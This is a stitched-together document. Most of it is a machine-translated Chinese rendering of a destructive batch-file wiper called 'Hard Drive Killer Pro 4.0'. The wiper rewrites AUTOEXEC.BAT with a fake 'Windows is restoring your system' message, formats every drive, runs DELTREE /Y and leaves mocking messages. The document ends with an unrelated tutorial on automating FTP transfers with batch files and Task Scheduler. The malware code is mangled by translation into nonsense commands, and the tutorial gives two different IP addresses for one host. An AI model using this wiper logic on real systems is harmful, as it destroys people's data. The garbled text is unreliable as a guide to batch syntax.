呼叫 ATTRIB-R-HC: AUTOEXEC.BAT> NUL

回声@ ECHO OFF> C: AUTOEXEC.BAT

回声回声加载 Windows，请等待，而微软的 Windows 恢复您的系统。。。>> C: AUTOEXEC.BAT

%%回声在(%驱动器%)调用格式%%:/Q/u/ autoSample 的> NUL >> C: AUTOEXEC.BAT

回声 CLS >> C: AUTOEXEC.BAT

回声回声加载 Windows，请等待，而微软的 Windows 恢复您的系统。。。>> C: AUTOEXEC.BAT

%%回声在做呼叫 C: temp.bat%%(%驱动器%)1 文雅> NUL >> C: AUTOEXEC.BAT

回声 CLS >> C: 自动执行。蝙蝠

回声回声加载 Windows，请等待，而微软的 Windows 恢复您的系统。。。

在通话(%驱动器%)DELTREE / Y%%:> NUL >> C: AUTOEXEC.BAT

回声 CLS >> C: AUTOEXEC.BAT

回声回声>> C: AUTOEXEC.BAT %%回声加载 Windows，请等待，而微软的 Windows 恢复您的系统。。。>> C: AUTOEXEC.BAT

%%回声在(%驱动器%)调用格式%%:/Q/u/ autoSample 的> NUL >> C: AUTOEXEC.BAT

回声 CLS >> C: AUTOEXEC.BAT

回声回声加载 Windows，请等待，而微软的 Windows 恢复您的系统。。。>> C: AUTOEXEC.BAT

%%回声在做呼叫 C: temp.bat%%(%驱动器%)1 文雅> NUL >> C: AUTOEXEC.BAT

回声 CLS >> C: 自动执行。蝙蝠

回声回声加载 Windows，请等待，而微软的 Windows 恢复您的系统。。。>> C: AUTOEXEC.BAT

在 DELTREE / Y(%驱动器%)调用%%的%的回声:> NUL >> C: AUTOEXEC.BAT

回声 CD >> C: AUTOEXEC.BAT

回声 CLS >> C: AUTOEXEC.BAT

回声回声欢迎死亡的土地。munga 文雅的多硬盘杀手版本 4.0。>> C: AUTOEXEC.BAT

回声的回声，如果你运行这个文件，然后很抱歉，我只是做它。这项计划的目的是要告诉你以下。。。>> C: AUTOEXEC.BAT

回声回声 1。为了使人们意识到，安全性不应该被视为理所当然。>> C: AUTOEXEC.BAT

回声回声 2。爱情是很重要的，真正的，如果有的话，不要让像我一样去!>> C: AUTOEXEC.BAT

回声回声 3。如果你也不是吃素的，那么你是一个杀人犯，我很高兴你的 HD 是死了。>> C:

AUTOEXEC. BAT

回声回声 4。不支持以下内容：战争，种族主义，毒品和自由党>> C: AUTOEXEC. BAT

回声的回声。>> C: AUTOEXEC. BAT

回声回声的问候，>> C: AUTOEXEC. BAT

回声的回声。>> C: AUTOEXEC. BAT

回声回声 Munga 文雅>> C: AUTOEXEC. BAT

调用 ATTRIB + R + HC: AUTOEXEC. BAT

makedir

如果存在 C: ATTRIB-R-HC temp.bat: temp.bat> NUL

回声@ ECHO OFF> C: temp.bat

1 回波%: >> C: temp.bat

回声 CD >> C: 温度。蝙蝠

的回声：星** >> C:

%%%% temp.bat 回声在(“如果不存在%2nul 的 MD%2”,“如果存在%2nul CD%2”)%% %

%%%%A >> C: temp.bat 回声在 (> ass_hole.txt “) 做你飘@回声%%\$ \$洞!!

如果不存在>> C: temp.bat 回声 转到星** >> C: temp.bat

呼叫 ATTRIB + R + HC: temp.bat> NUL

CLS

呼应初始化变量。。

REM DELTREE / Y%: *。不仅消除目录，因此离开上述文件创建的进一步破坏。

%在(%驱动器%)调用格式%: / Q / U / autoSample> NUL

CLS

呼应初始化变量。。

验证数据。回声。。

%在(%驱动器%)调用 C: temp.bat%1 Munga> NUL 的

CLS

呼应初始化变量。。

验证数据。回声。。

分析系统的结构。回声。。

%(%驱动器%)呼叫 ATTRIB-R-H%1: /> NUL

通话 ATTRIB + R + HC: temp.bat> NUL

呼叫 ATTRIB + R + HC: AUTOEXEC. BAT> NUL

CLS

回声初始化变量。。

验证数据。回声。。

分析系统的结构。回声。。

初始化应用。回声。。。

%在(%驱动器%)致电 DELTREE / Y%: *。> NUL

CLS

呼应初始化变量。。

验证数据。回声。。

分析系统的结构。回声。。
初始化应用。回声。。
开始应用。回声。。
%在（%驱动器%）调用 C: temp.bat%%Munga> NUL
, CLS
呼应感谢您使用了 Munga Bunga 的产品。
回声。
回声哦，比尔·盖茨的规则，他是不是一个怪胎，他是一个漂亮的天才。
回声。
回声这里是为你开了个玩笑。。
回声。
回声问）。什么是一个鸡蛋最糟糕的事情吗？
回声）。你只能得到奠定了一次。
回声。
回声 HAHAHAHA，怎么做呢？你不喜欢？
回声。
回声的问候，
回声。
回声 Munga 文雅
：结束
REM 硬盘杀手 Pro 版本 4.0，享受！！
REM 作者：文雅 Munga -从澳大利亚，充满智障澳大利亚的帮助我走出这里的土地。

用批处理命令实现 FTP 文件的自动传输

由于工作的原因，每天需要在 Windows 操作系统之间或与其它操作系统如 UNIX 等利用 FTP 进行文件传输。经常重复这样的工作程序，即繁琐又容易出错。本人经过思考摸索，在 Windows 操作系统的“任务计划”帮助下，成功地用批处理命令实现 FTP 文件的自动传输。现将此操作过程详解，希望对同好有所帮助，更望能抛砖引玉，提出更好的方法。

假设本机操作系统为 Windows 操作系统，需进行文件传输的目录为 C:\datatran；对方计算机操作系统为 UNIX 操作系统，IP 地址为 10.30.15.3，需进行文件传输的目录为 C:\data，登录用户名为 Anonymous，口令为 123456。从本机到对方机接收文件操作方法如下。

第一步，先新建一个文本：

Open 10.31.15.3

User anonymous

123456

```
Cd data
```

```
Bin
```

```
Prompt
```

```
Mget *.*
```

```
Bye
```

```
Quit
```

```
Exit
```

将该文本保存为 1.ftp 存放到 C 盘根目录。该文件只要扩展名为 ftp，前缀可任意取名。目录也不一定要在根目录，主要以方便为主。文本中 Bin 为用黑吧码格式传输文件，如用 ASCII 码格式传输文件可去掉该行。如为本机向对方机发送文件，则只要将文本中的 Mget 替换成 Mput 即可。这之后，再新建另一个文本：

```
C:
```

```
Cd datatran
```

```
ftp -n -s:" c:\1.ftp"
```

新建完毕后将该文本保存为 1.bat 后存放在硬盘任何分区或软盘中均可。这样，第一步工作已经完成，您随时可以执行该批处理文件进行 FTP 文件的传输。

第二步，将该该批处理文件放在“任务计划”中设定自动运行。方法是：打开“开始”菜单“程序”下“附件”中的“系统工具”，点击“任务计划”，执行“添加任务计划”，按“任务计划向导”提示将该批处理文件添加到任务计划中，并指定执行周期，之后再设下密码后即完成。从此，计算机将根据您的设定，自动周期性地地进行文件接收或发送，不再需要您动一下手指，真正做到它工作，您休息。

另外，如果是 Windows 操作系统之间进行 FTP 进行文件传输，只要去掉 1.ftp 中“Bin”一行就可以了。